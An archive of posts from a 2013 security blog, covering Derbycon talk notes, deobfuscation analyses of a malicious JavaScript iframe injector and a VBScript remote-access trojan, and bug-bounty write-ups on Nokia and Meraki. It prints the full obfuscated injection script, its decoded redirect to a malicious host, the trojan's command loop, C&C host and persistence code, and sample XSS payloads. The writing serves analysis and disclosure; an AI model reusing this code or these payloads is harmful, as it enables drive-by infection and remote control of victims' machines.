Friday, 4 October 2013

Notes from Derbycon 2013 - Day #1


It was my first time attending Derbycon and I gota say, what a conference! The atmosphere was a lot different to Blackhat/Defcon, less suits, less vendors and more real security guys direct from the trenches.

I found the talks a lot more interactive and most provided great practical advice for the everyday security admin. Along with the free beer my favorite bit was speaking to fellow attendees/speakers. Exchanging ideas, discussing problems and just meeting new people was awesome.

So I don't forget what I learnt (and cause I thought you guys might find it useful) I thought I'd do a quick write-up for each day. This is my own version of events and I've probably incorrectly described some talks, apologies in advance!

Also recordings of most talks can be found here: http://www.irongeek.com/i.php?page=videos/derbycon3/mainlist


#########################################################
Title: Pigs don't fly - Why owning a typical network is so easy and how to build a secure one
Link: http://www.scriptjunkie.us/
Link: http://ambuships.com/
What was it about:
Scriptjunkie provided an overview of some of the most effective ways to secure a network. He started off by describing common kill chains from initial compromise to exfiltration and how we can break them.

Defensive techniques included:
- Air gap as much as possible
- Prevent USB
- Prevent direct connections out (force traffic through a proxy)
- Prevent outbound DNS (force machines to use internal DNS)
- Block social networking
- Block inter-workstation access
- Don't allow outbound traffic from admins
- Lock down admin workstations
- Prevent Java/Office writing files to most locations
- Don't use file shares, use a CMS
- Use Ambush ips for monitoring

Silver bullets:
- Don't use passwords, switch to hardware tokens/smartcards
- Deny all NTLM logins

Getting rid of passwords and NTLM sounded nuts, but he had a valid point, by getting rid of passwords/hashes and using one time codes from hardware tokens/kerberos instead, it's going to be a lot harder for attackers to move around your network using pass-the-hash or password reuse. Microsoft already provide support for hardware token based authentication so implementation isn't as hard as people think. Legacy applications that don't support kerberos can have some issues though. Definitely something I'm going to look into further.

Lessons learned:
Test disabling NTLM and switching to purely kerberos. Long term enforce token only authentication. Implement as many of the defensive techniques as possible.


#########################################################
Title: IOC Aware - Actively collect compromise indicators and test your entire enterprise
Link: http://www.youtube.com/watch?v=NhOhfNrXIDI
What was it about:
IOC's (indicators of compromise) are an open xml format introduced by Mandiant to provide a way to detect malware using a combination of information including filenames, hashes, signature, paths. At the moment it's hard to find IOC's online and producing them is usually a manual process. Wouldn't it be great if we could automatically create and then search for IOCs? Well the guys in this talk had done just that.

They had used a honeypot (Dionaea) to collect samples which would be automatically submitted to an internal Cuckoo instance. They had created a custom plugin for Cuckoo that would generate IOC's from the Cuckoo analysis.
The generated IOC's were added to a master list that was then sent to software agents that had been deployed on workstations. The agent would search the workstation for the IOCs and report back results. If an attacker had used similar techniques on both the honeypot and workstations he'd be detected. Cool. For me the only issue with this system is that if the attackers don't attack the honeypot you don't get any IOCs.

Lessons learned:
Deploy a honeypot if you haven't already. Make sure you have a way to search your organisation for IOCs.


#########################################################
Title: Cash is King: Who's Wearing Your Crown?
Link: http://www.youtube.com/watch?v=k-qaAeXUBac
What was it about:
The guys presenting talked about how its possible to inject a dll into the Microsoft Dynamics GP product and proxy requests to the backend database. So if an attacker compromises one of the workstations belonging to your accounting staff they can remotely issue commands to the backend database when that staff member is logged in. Money transfers and account modifications all performed as the compromised user, awesome.

They mentioned that in many cases accounting reconciliation isn't completed often enough meaning fraudulent payments can go undetected for months. Also once one payment is detected as incorrect how do you know the rest of the payments/account information haven't been modified?

It was worrying to hear that the payment processing systems for online games have better controls than most ERP and financial systems.

Lessons learned:
Third party financial systems don't provide tight enough audit and change control.


#########################################################
Title: Windows Owned by Default
Link: http://www.youtube.com/watch?v=SVqiDdVS7Wo
Link: http://technet.microsoft.com/en-us/magazine/2009.06.act.aspx
What was it about:
This was an interesting talk about the Windows Application Compatibility Toolkit and how it can be used to change how commands and programs execute. The toolkit is offered by Microsoft and helps old software work on newer versions of windows. It appears to use some kind of dll injection or rootkit functionality to intercept system calls and redirect execution. So instead of loading for example the default modern version of a dll or registry key you create whats called a "shim" and this shim will redirect the program to the old version of the dll or registry key.

An attacker can abuse this to load and hide his own malicious files and because child processes inherit parent settings if you create a shim targeting explorer.exe any program running in windows will inherit the settings and run with modified settings.

You do need to be admin on the box to install the toolkit so it's more of a post exploitation tool but used correctly it can hide malware really well and drive incident responders nuts. Or vice versa if you create a honeypot with Application Compatibility Toolkit installed the attackers will waste time going round in circles instead of attacking your other systems.

Lessons learned:
Look out for malware abusing Windows Application Compatibility Toolkit. Also setup a honeypot using this.


#########################################################
Title: RAWR - Rapid Assessment of Web Resources
Link: http://sourceforge.net/projects/rawr-webenum/
What was it about:
Awesome new tool to scan a network and grab screenshots from websites. There are a few scripts out there that do this but I've not seen anything that worked this well. RAWR provides a command line to issue search commands, give it an ip+port and it'll run nmap, Bing reverse DNS and SSL checks against your ip range.

All screenshots are viewable and searchable through a nice web interface. The tool is still under active development with new features on the way. Overall a great tool for attackers and defenders alike.

Lessons learned:
Grab a copy of RAWR and scan your internal/external network you may be surprised by what you find :)


#########################################################
Title: Decoding Bug Bounty Programs
Link: http://www.youtube.com/watch?v=ur1azUTgmvU
What was it about:
Jon presented a great interactive talk about how/why bug bounties operate. I found the Paypal stats quite interesting, for example, did you know 44% of bugs are the submitter's one and only submission and 80% of bug submissions are sent in by researchers who submit less than 10 bugs.

Also we were lucky enough to have the folks who run Microsoft's bounty program, the head of Firefox's program and the Bugcrowd guys in attendance who all had interesting things to say.

Lessons learned:
Bug bounties are the future!


#########################################################



Questions/comments/corrections - leave a message below.

Derbycon day #2
http://pwndizzle.blogspot.com/2013/10/notes-from-derbycon-2013-day-2.html

Wednesday, 18 September 2013

How not to Obfuscate your Javascript

Last week I came across some malicious obfuscated Javascript and thought I'd write about it as a contrast to the VBScript in my last post. In this post I'll deobfuscate the Javascript and dig into the script's functionality and redirects.


The Sample

The malicious script was first detected by a network monitoring device as "Trojan.JS.Iframe.afs". Submitting the URL of the infected site to Sucuri I got the following:




Looking at the results from Sucuri it appeared that a suspicious looking piece of javascript had been included on multiple pages:

<!--74ed9f--><script type="text/javascript" language="javascript" > kauo="fr"+"omCh"+"arCo"+"de";if(document.querySelector)zjyir=4;jxl=("68,ae,bd,b6,ab,bc,b1,b7,b6,68,bf,c0,78,81,70,71,68,c3,55,52,68,be,a9,ba,68,bb,bc,a9,bc,b1,ab,85,6f,a9,b2,a9,c0,6f,83,55,52,68,be,a9,ba,68,ab,b7,b6,bc,ba,b7,b4,b4,ad,ba,85,6f,b1,b6,ac,ad,c0,76,b8,b0,b8,6f,83,55,52,68,be,a9,ba,68,bf,c0,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,ba,ad,a9,bc,ad,8d,b4,ad,b5,ad,b6,bc,70,6f,b1,ae,ba,a9,b5,ad,6f,71,83,55,52,55,52,68,bf,c0,76,bb,ba,ab,68,85,68,6f,b0,bc,bc,b8,82,77,77,bf,bf,bf,76,b5,a9,ba,ab,bc,ba,b7,b6,76,ab,b7,b5,76,aa,ba,77,b2,bb,77,9a,7a,af,9f,b3,ae,c0,98,76,b8,b0,b8,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,b8,b7,bb,b1,bc,b1,b7,b6,68,85,68,6f,a9,aa,bb,b7,b4,bd,bc,ad,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,ab,b7,b4,b7,ba,68,85,68,6f,7a,80,7a,80,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,b0,ad,b1,af,b0,bc,68,85,68,6f,7a,80,7a,80,b8,c0,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,bf,b1,ac,bc,b0,68,85,68,6f,7a,80,7a,80,b8,c0,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,b4,ad,ae,bc,68,85,68,6f,79,78,78,78,7a,80,7a,80,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,bc,b7,b8,68,85,68,6f,79,78,78,78,7a,80,7a,80,6f,83,55,52,55,52,68,b1,ae,68,70,69,ac,b7,ab,bd,b5,ad,b6,bc,76,af,ad,bc,8d,b4,ad,b5,ad,b6,bc,8a,c1,91,ac,70,6f,bf,c0,6f,71,71,68,c3,55,52,68,ac,b7,ab,bd,b5,ad,b6,bc,76,bf,ba,b1,bc,ad,70,6f,84,b8,68,b1,ac,85,a4,6f,bf,c0,a4,6f,68,ab,b4,a9,bb,bb,85,a4,6f,bf,c0,78,81,a4,6f,68,86,84,77,b8,86,6f,71,83,55,52,68,ac,b7,ab,bd,b5,ad,b6,bc,76,af,ad,bc,8d,b4,ad,b5,ad,b6,bc,8a,c1,91,ac,70,6f,bf,c0,6f,71,76,a9,b8,b8,ad,b6,ac,8b,b0,b1,b4,ac,70,bf,c0,71,83,55,52,68,c5,55,52,c5,55,52,ae,bd,b6,ab,bc,b1,b7,b6,68,9b,ad,bc,8b,b7,b7,b3,b1,ad,70,ab,b7,b7,b3,b1,ad,96,a9,b5,ad,74,ab,b7,b7,b3,b1,ad,9e,a9,b4,bd,ad,74,b6,8c,a9,c1,bb,74,b8,a9,bc,b0,71,68,c3,55,52,68,be,a9,ba,68,bc,b7,ac,a9,c1,68,85,68,b6,ad,bf,68,8c,a9,bc,ad,70,71,83,55,52,68,be,a9,ba,68,ad,c0,b8,b1,ba,ad,68,85,68,b6,ad,bf,68,8c,a9,bc,ad,70,71,83,55,52,68,b1,ae,68,70,b6,8c,a9,c1,bb,85,85,b6,bd,b4,b4,68,c4,c4,68,b6,8c,a9,c1,bb,85,85,78,71,68,b6,8c,a9,c1,bb,85,79,83,55,52,68,ad,c0,b8,b1,ba,ad,76,bb,ad,bc,9c,b1,b5,ad,70,bc,b7,ac,a9,c1,76,af,ad,bc,9c,b1,b5,ad,70,71,68,73,68,7b,7e,78,78,78,78,78,72,7a,7c,72,b6,8c,a9,c1,bb,71,83,55,52,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,68,85,68,ab,b7,b7,b3,b1,ad,96,a9,b5,ad,73,6a,85,6a,73,ad,bb,ab,a9,b8,ad,70,ab,b7,b7,b3,b1,ad,9e,a9,b4,bd,ad,71,55,52,68,73,68,6a,83,ad,c0,b8,b1,ba,ad,bb,85,6a,68,73,68,ad,c0,b8,b1,ba,ad,76,bc,b7,8f,95,9c,9b,bc,ba,b1,b6,af,70,71,68,73,68,70,70,b8,a9,bc,b0,71,68,87,68,6a,83,68,b8,a9,bc,b0,85,6a,68,73,68,b8,a9,bc,b0,68,82,68,6a,6a,71,83,55,52,c5,55,52,ae,bd,b6,ab,bc,b1,b7,b6,68,8f,ad,bc,8b,b7,b7,b3,b1,ad,70,68,b6,a9,b5,ad,68,71,68,c3,55,52,68,be,a9,ba,68,bb,bc,a9,ba,bc,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,b1,b6,ac,ad,c0,97,ae,70,68,b6,a9,b5,ad,68,73,68,6a,85,6a,68,71,83,55,52,68,be,a9,ba,68,b4,ad,b6,68,85,68,bb,bc,a9,ba,bc,68,73,68,b6,a9,b5,ad,76,b4,ad,b6,af,bc,b0,68,73,68,79,83,55,52,68,b1,ae,68,70,68,70,68,69,bb,bc,a9,ba,bc,68,71,68,6e,6e,55,52,68,70,68,b6,a9,b5,ad,68,69,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,bb,bd,aa,bb,bc,ba,b1,b6,af,70,68,78,74,68,b6,a9,b5,ad,76,b4,ad,b6,af,bc,b0,68,71,68,71,68,71,55,52,68,c3,55,52,68,ba,ad,bc,bd,ba,b6,68,b6,bd,b4,b4,83,55,52,68,c5,55,52,68,b1,ae,68,70,68,bb,bc,a9,ba,bc,68,85,85,68,75,79,68,71,68,ba,ad,bc,bd,ba,b6,68,b6,bd,b4,b4,83,55,52,68,be,a9,ba,68,ad,b6,ac,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,b1,b6,ac,ad,c0,97,ae,70,68,6a,83,6a,74,68,b4,ad,b6,68,71,83,55,52,68,b1,ae,68,70,68,ad,b6,ac,68,85,85,68,75,79,68,71,68,ad,b6,ac,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,b4,ad,b6,af,bc,b0,83,55,52,68,ba,ad,bc,bd,ba,b6,68,bd,b6,ad,bb,ab,a9,b8,ad,70,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,bb,bd,aa,bb,bc,ba,b1,b6,af,70,68,b4,ad,b6,74,68,ad,b6,ac,68,71,68,71,83,55,52,c5,55,52,b1,ae,68,70,b6,a9,be,b1,af,a9,bc,b7,ba,76,ab,b7,b7,b3,b1,ad,8d,b6,a9,aa,b4,ad,ac,71,55,52,c3,55,52,b1,ae,70,8f,ad,bc,8b,b7,b7,b3,b1,ad,70,6f,be,b1,bb,b1,bc,ad,ac,a7,bd,b9,6f,71,85,85,7d,7d,71,c3,c5,ad,b4,bb,ad,c3,9b,ad,bc,8b,b7,b7,b3,b1,ad,70,6f,be,b1,bb,b1,bc,ad,ac,a7,bd,b9,6f,74,68,6f,7d,7d,6f,74,68,6f,79,6f,74,68,6f,77,6f,71,83,55,52,55,52,bf,c0,78,81,70,71,83,55,52,c5,55,52,c5".split(","));alq=eval;function mup(){mynpb=function(){--(zujrdn.body)}()}zujrdn=document;for(ojth=0;ojth<jxl["length"];ojth+=1){jxl[ojth]=-(72)+parseInt(jxl[ojth],zjyir*4);}try{mup()}catch(mil){qedems=50-50;}if(!qedems)alq(String[kauo].apply(String,jxl));</script><!--/74ed9f-->

Just like in my last post where I subverted the code execution to output the code to file, we can do the same here by replacing an eval statement with a document.write and output the plain text script to a textarea. Where's the eval? Notice the line with "alg=eval", alg is used to eval the final line. I just replaced alg with document.write and included textarea html:

document.write("<textarea>" +  String[kauo].apply(String,jxl)+"</textarea>");

Running the patched code you get the unobfuscated script:

 function wx09() {
 var static='ajax';
 var controller='index.php';
 var wx = document.createElement('iframe');

 wx.src = 'http://www.marctron.com.br/js/R2gWkfxP.php';
 wx.style.position = 'absolute';
 wx.style.color = '2828';
 wx.style.height = '2828px';
 wx.style.width = '2828px';
 wx.style.left = '10002828';
 wx.style.top = '10002828';

 if (!document.getElementById('wx')) {
 document.write('<p id=\'wx\' class=\'wx09\' ></p>');
 document.getElementById('wx').appendChild(wx);
 }
}
function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

wx09();
}
}

I was a little disappointed de-obfuscation was so easy :) So this code will check if you have a specific cookie set, if not it will set it and then it'll create an iframe that redirects to the attackers page. Why check/create a cookie? It seems the bad guys only want you to get redirected/infected if this is the first time you've visited the site.


Redirects Redirects

I was curious what would happen next so decided to take a wander down the malware rabbit hole. To start with I scanned the iframe destination page:

http://sitecheck.sucuri.net/results/www.marctron.com.br/js/r2gwkfxp.php



A clean malware page didn't make sense so to get more detail I tried to grab a copy of the page using Curl: 



The server responds but it doesn't give us any real data or redirects. Lets try including a user-agent.



Interesting, this time we get a redirection (see Location header). It looks like the bad guys only want to redirect legitimate looking browsers, potentially stopping automated scanners or people like me using Curl :)

Following the redirection the next page we come to just redirects to about:blank.


Hmmm so a dead end? Not quite yet. The day before I took the screenshots I used curl and actually received a different domain...On the 14th I was redirected to bonne-isolation.be and on the 15th to boordstenen-beton.be. Switching domains to avoid detection eh?


Both domains have similar names suggesting some kind of automatic domain name generation and both resolve to the same ip address 95.156.228.69. Googling the ip we find out this is a known bad address:

https://isc.sans.edu/diary/37.58.73.42++95.156.228.69++195.210.43.42,+anyone%3F/16559

VirusTotal and urlquery have some hits:

https://www.virustotal.com/en/ip-address/95.156.228.69/information/

http://urlquery.net/search.php?q=95.156.228.69&type=string&start=2013-08-28&end=2013-09-12&max=200

On urlquery.net we also find some traffic that matches a Suricata Emerging Threat signature:


Our bad guys appear to be using the Blackhole exploit kit. I'm not sure why we were redirected to about:blank and not the latest java exploit. Perhaps they are only targeting specific browsers/countries or perhaps they only distribute malware to every tenth connection to avoid detection, who knows. (If anyone has any ideas leave me a comment below!)



Wrapping Up

I always find it interesting to pick apart the techniques used by the bad guys to distribute malware. The multiple layers of obfuscation, redirection and verification all work as a clever way to slow down analysis for the good guys and keep the bad guys in business for longer.

We saw how:
  • A compromised site (taalvilla.com) was redirecting users to a malicious site using an embedded iframe.
  • Secondary redirection, that required a browser user-agent, was used to add a layer of obscurity and protection for the final destination.
  • Multiple domains were being used to prevent detection and mitigation.
  • The target was a malicious server (95.156.228.69) with a history of Blackhole activity.   

For a post about Javascript obfuscation I'm sorry it contained so little Javascript deobfuscation (blame the malware authors for making it too easy!). I may have another more in depth post coming in the future though :)

Hope you guys have found this interesting/useful, comments/corrections always appreciated.

Pwndizzle out.

Saturday, 7 September 2013

How not to Obfuscate your VBScript

I recently came across a malware sample that reminded me of a capture the flag style challenge. There were multiple layers of encoding but each was relatively simple to reverse. In this post I'll provide a quick analysis.

(Just in case you're wondering, this sample was detected by a custom HIPS rule looking for suspicious registry modifications. Would definitely recommend deploying custom HIPS rules if you haven't already!)


The Sample

The malware was created using VBScript and saved as a .vbe file. It did a great job of evading AV with a score of only 4/46 on VirusTotal, props to CAT-QuickHeal/Avast/Kaspersky/TrendMicro for detecting it!



I assumed I would be able to just open the file and I'd see the malicious script. Well it wasn't quite that simple...Opening the .vbe all I got was a huge mass of characters:



After a quick Google I found out, VBE stands for VBScript Encoded, (ahhha moment!) and I needed some way to decode the file. Luckily there was a great blog post with sample script here:


Running the decode script against the encoded vbe we get some clear-text vbs.




Hmmm another chunk of encoded text. It does appear to be sent to a function called deCrypt though and looking down the script we come to the actual deCrypt function.


The decrypt function calls decodeBase64 which coverts our data from Base64 to ASCII. Also note that the decrypt routine is ran twice (once in each screenshot) before finally being executed. Now we could write a decode script or we could just use an online converter (http://www.hcidata.info/base64.htm):

Decoding Once (Still garbled...)



Decoding Twice (Woohoo code!)


So we have a variable....but also more encoded text. Scrolling down we come to the decryption routine:


Decryption removes the |dz| padding then for each item in the array concatenates to the previous item the ascii character for that character code. And then executes the final string. To get the plain text script I just patched the existing script to output to file instead of execute.


And finally we get to the actual VBScript:

'<[ recoder : houdini (c) skype : houdini-fx ]>
'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
host = "zoia.no-ip.org"
port = 446
installdir = "%appdata%"
lnkfile = true
lnkfolder = true
'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
dim shellobj
set shellobj = wscript.createobject("wscript.shell")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")
'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
installname = wscript.scriptname
startup = shellobj.specialfolders ("startup") & "\"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"

(Continued below...)

Straight away you notice the author has proudly placed his name and Skype at the top of the script (queue Krebs style investigation!) Next there's the callback domain, where he's using the dynamic DNS service no-ip.org.

When run the script will repeatedly connect to the C&C and attempts to receive commands.

while true

install

response = ""
response = post ("is-ready","")
cmd = split (response,spliter)
select case cmd (0)
case "excecute"
      param = cmd (1)
      execute param
case "update"
      param = cmd (1)
      oneonce.close
      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
      oneonce.write param
      oneonce.close
      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
      wscript.quit 
case "uninstall"
      uninstall
case "send"
      download cmd (1),cmd (2)
case "recv"
      param = cmd (1)
      upload (param)   
case  "cmd-shell"
      param = cmd (1)
      post "is-cmd-shell",cmdshell (param)  
case  "delete"
      param = cmd (1)
      deletefaf (param) 
case  "exit-process"
      param = cmd (1)
      exitprocess (param) 
case  "sleep"
      param = cmd (1)
      sleep = eval (param)        
end select

wscript.sleep sleep

wend

Looking at the install routine we can see the script will create run keys and a copy of itself in the startup folder to maintain persistence.

sub upstart ()
on error resume Next

shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true

end sub

The script contains multiple functions the C&C owner can call upon. For example to install/uninstall, download/upload files, enumerate/kill processes, run arbitrary commands and spread using lnk files. As I had an infected machine I modified the original script to create a cleaner script that would call the uninstall function.

The malware appears to be quite recent as Googling the plain text script I could see only one post about it. The below link also has a copy of the whole script:

http://social.technet.microsoft.com/Forums/en-US/f80f10c6-ae6c-4f63-96ec-9d49d582764a/virus-acceso-directo-en-discos-extraibles


Final Thoughts

Manual binary analysis can be tricky so I normally let Cuckoo (http://www.cuckoosandbox.org/) do all the hard work but until Cuckoo supports VBScript manual analysis seems to be the only option.

While the malicious script had some great functionality I was surprised how badly it had been obfuscated. In the web app world Javascript obfuscators can be a nightmare, renaming variables, breaking everything up into a million different concatenations and dummy functions. All this script had was a basic encoding routine and some Base64 conversion. Lazy script kiddie maybe?

Hope you guys found this useful.

Pdizzle out.

Monday, 10 June 2013

Nokia XSS + Nokia Spoofing = Nokia Lumia

Back in February I heard Nokia were starting a new bounty program. I didn't think it would be that hard finding a few holes and getting me a shiny new Nokia Lumia. Turns out I was right :)

This post is about a rather boring XSS and some email spoofing lolz that I worked on back in February.


The XSS

The Nokia developer site contained a search feature that didn't properly encode user queries before displaying them on the results page.

Here's a screenshot of the XSS:

Inline image 1


And lack of HttpOnly meant it was trivial to steal the session data:

Inline image 1



Bounty time...right?...wrong!

So I reported the issue and waited for a response. Fair play to Nokia they fixed the XSS pretty quickly. However when inquiring about a bounty I received the following response:


Oh great, so no bounty for XSS. Taking a closer look at the Nokia vulnerability disclosure policy:

Reward & Recognition
Nokia will recognize and reward researchers based on the vulnerability criticality and vulnerable service priority. A Nokia internal committee will review and determine what type of recognition is given to the researcher when applicable. Our most common recognition is our Hall of Fame.

Hmmm ok, but the Nokia engineer did mention a bounty was possible if I could find something more interesting...


Any ideas? Oh yeah that blog post I wrote...

I'd recently been looking at the dangers of email spoofing (see post here: http://pwndizzle.blogspot.com/2013/03/targeted-email-spoofing-and-alexa100.html) and seen how many companies weren't aware of the risks. If Nokia were vulnerable this would make a great POC and hopefully get me my Nokia Lumia!

In a nutshell, many SMTP servers on the internet today don't enforce spoofing mitigations. Reverse-DNS checks, SPF, DKIM and filtering of external emails using your company address, can all help mitigate spoofing but in a lot of companies they just aren't strictly enforced. Lucky for me, Nokia was one of those companies :)


Lets Get Spoofing!

Spoofing is trivial to perform. Simply connect to the companies SMTP server, send your "mail from", "rcpt to", your message data (with headers) and you're done. A little something like this:


As can be seen above, to demonstrate the impact I sent a message from the Nokia president Stephen Elop to the Nokia engineer. So from a few simple SMTP commands we get a spoofed email that says:


The security engineer at Nokia was rather surprised to see a message from the president and after discussing the attack/mitigations I finally got my reward, a new Nokia Lumia, wahey! :)

For more details on how to spoof your favourite CEO or how to protect your own CEO, check out my previous blog post here:
http://pwndizzle.blogspot.com/2013/03/targeted-email-spoofing-and-alexa100.html


Final Thoughts

Bug bounties come in all different shapes and sizes. Nokia might pay a little less than the average Google/Facebook/Paypal bounty but then again Nokia aren't doing all that well financially nor are they as such a juicy target as Google/Facebook/Paypal. So to offer a bug bounty at all is impressive enough!

Thanks to Nokia for their swift responses/fixes and for the new phone :)

Pwndizzle out.

Thursday, 30 May 2013

A Curl One-Liner to Retrieve Headers or Response Data

In this post I'll cover a simple curl one-liner that will let you read response content from multiple sites. I had a list of URLs and for each URL I wanted to check if the site redirected the user to another page via the location header. As usual a magic one liner came to the rescue!


Retrieving our data

First up I needed a way to send a request and receive a response from the remote server. Wget and Curl are both great options. I went with curl. Because of the company proxy I needed to include the --proxy flag.

curl -i -s --proxy http://myproxy.com:8080 www.google.com|grep Location:

  • By default Curl doesn't include the response headers, to actually see them you need to use the -i flag. 
  • Curl often displayed download messages I didn't want to see so I included the silent (-s) flag. 
  • As I was just looking for redirections I added a bit of grep on the end to show just the Location header.


For Loopin'

As I wanted to grab the header from multiple sites I needed to perform the Curl within a for loop.

for i in $(cat hosts.txt);do curl -i -s --proxy http://myproxy.com:8080 http://www.$i|grep Location:;done;

Here I read in the hostnames from hosts.txt and for each host download the content and search for the Location header. My hosts were in the format "test.com", so I included the http://www. in front of the $i.


Sorting Output

Using the above one-liner you get the grep output and nothing else. I wanted to know which site had which header. To do this I assigned the curl output to a variable and then performed a check with double brackets to see if the variable was empty (whether the site had the header or not). And finally outputted the results.

for i in $(cat hosts.txt);do data=$(curl -i -s --proxy http://myproxy.com:8080 http://www.$i|grep Location:);if [[$data]];then echo $i $data;fi;done;

My final output looked like this:


You can see Google will redirect me to the local version (.com.ph) and Paypal/Facebook redirect to the https version of the site.


Final Thoughts

I love a good one-liner and this simple script can easily be altered for different headers or data depending on what you're looking for.

If you're just interested in the headers it's also worth checking out the curl special variables as described here:
http://beerpla.net/2010/06/10/how-to-display-just-the-http-response-code-in-cli-curl/

Hope you guys have found this useful. Improvements and comments always welcome!


Cheers, 

PwnDizzle out.

Saturday, 11 May 2013

On the Meraki Bounty Trail


Back in March Meraki started a bounty program. I ended up digging around the site in April so missed all the easy XSS but still came across a few interesting bits and bobs.

Today I'll talk about six issues that caught my attention, starting with the mediocre leading up to the slightly more interesting.


#1 Missing HTTPS

No SSL on the tools login page meant any attacker could sniff your credentials right out of the air, who knows maybe even when you're using your own Meraki wifi.



#2 Sensitive File Disclosure on Partner Site

It's always amazing what Google can uncover. In the case of Meraki it turned out that a number of potentially sensitive files for partners/resellers were (still are?) accessible through Google. Want to know how much a Meraki AP really costs and what cut your Meraki reseller is taking? Easy just Google for it!


Needless to say these kinds of files shouldn't be publicly accessible.



#3 Lack of Brute Force Mitigation

Anyone was free to guess user passwords an unlimited number of times without experiencing any kind of lockout or captcha. In the screenshot you can see on my 123rd attempt i guessed the correct password (meraki123) and received a 302 indicating a successful login.


It was quite funny that when I (and presumably other people) reported this to Meraki, they replied that they didn't regard this as an issue that needed fixing! I know, it's hard to believe. Luckily they had second thoughts and a few days later had implemented a captcha check on five failed logins.


#4 Information disclosure when adding device

When playing around with my test account I found I couldn't test all the features as I didn't actually have a Meraki wireless access point. Looking over the "Add Access Point" form I was thinking I could maybe brute force the serial/order number field.


The problem was I didn't know the length or structure of the numbers. So I thought why not Google it? Again Google to the rescue and after a little searching I found a blog post that actually contained device serial numbers!

Inserting these numbers I received an error message that the access point was already in use. Interestingly though the error message contained the email address of the user who had registered the access point! Say wut?!


So now we can target that user with some clever meraki-based spear-phishing, compromise their account and then go on to potentially compromise all of their wifi users! Nice.

And now for the catch....a twelve character serial containing letters and numbers (12^36) isn't remotely bruteforceable. Even if Meraki produced a few million devices its still going to take a long long time to guess valid serials. So it's low risk?

Well the other possible attack vector here would be the order number, if Meraki are using sequential order numbers you could potentially dump the email address of every user. Sweet! :)


#5 Splash Page Javascript Inclusion

Meraki allows you to define a splash page, which is a page that users will be shown when they first connect to your wifi. To create your page they provide a HTML editor but prevent the inclusion of sensitive HTML, e.g. script, iframe, embed, event handlers etc.

After a little playing around I found they had missed style attribute filtering, allowing Javascript inclusion.

<img style="xss:expression(alert('LOL'))">
Or:
<style type="text/css">BODY{background:url("javascript:alert('LOL')")}</style>



For any determined bounty hunters out there, I would definitely recommend taking a look at the editor as I'm sure there are more holes in it :)


#6 Mobile Site XSS

The final issue was in the mobile site. Burp flagged this up as XSS and on closer inspection it turned out to be a json callback parameter being echo'ed back unencoded (allowing us to insert <script> etc.).



However in Chrome and Firefox this was not actually exploitable as they correctly enforce the json content-type sent from the server meaning the Javascript isn't rendered by the browser.


After a little digging I found the following:

https://superevr.com/blog/2012/exploiting-xss-in-ajax-web-applications/

I never knew if you renamed the file extension IE would ignore the content-type sent by the server. So by adding a .html to the url IE would render the page as HTML, which meant XSS!

Annoyingly, it turns out the IE XSS filter doesn't take any prisoners. After a lot of playing around I just couldn't evade the filter and Microsoft appear to have fixed the same domain trick mentioned in the the post below:

http://nomoreroot.blogspot.co.uk/2008/08/ie8-xss-filter.html

So the XSS was dead in the water (at least in IE8/9/10). Microsoft got something right!



Final Thoughts

Rather simplistic information disclosure/account security issues can seem trivial but under the right circumstances they can cause serious damage. And the funny thing is that these are the issues vulnerability scanners will often miss.

Today's security tips:
  • Always use SSL
  • Make sure your directory permissions are correct
  • Always use brute force mitigation
  • Don't disclose user information in error messages
  • Don't allow users to insert HTML
  • Always html encode user input when outputting it on your page

Questions, comments, corrections and IE XSS filter bypasses are always welcome :)

Tuesday, 9 April 2013

A Facebook Third Party XSS Privacy Slip-up

Back in January Facebook introduced a new feature that allowed you to send in questions to their Chief Privacy Officer, Erin Egan.

It turns out the question form contained an XSS vulnerability :)


Erin where you at?

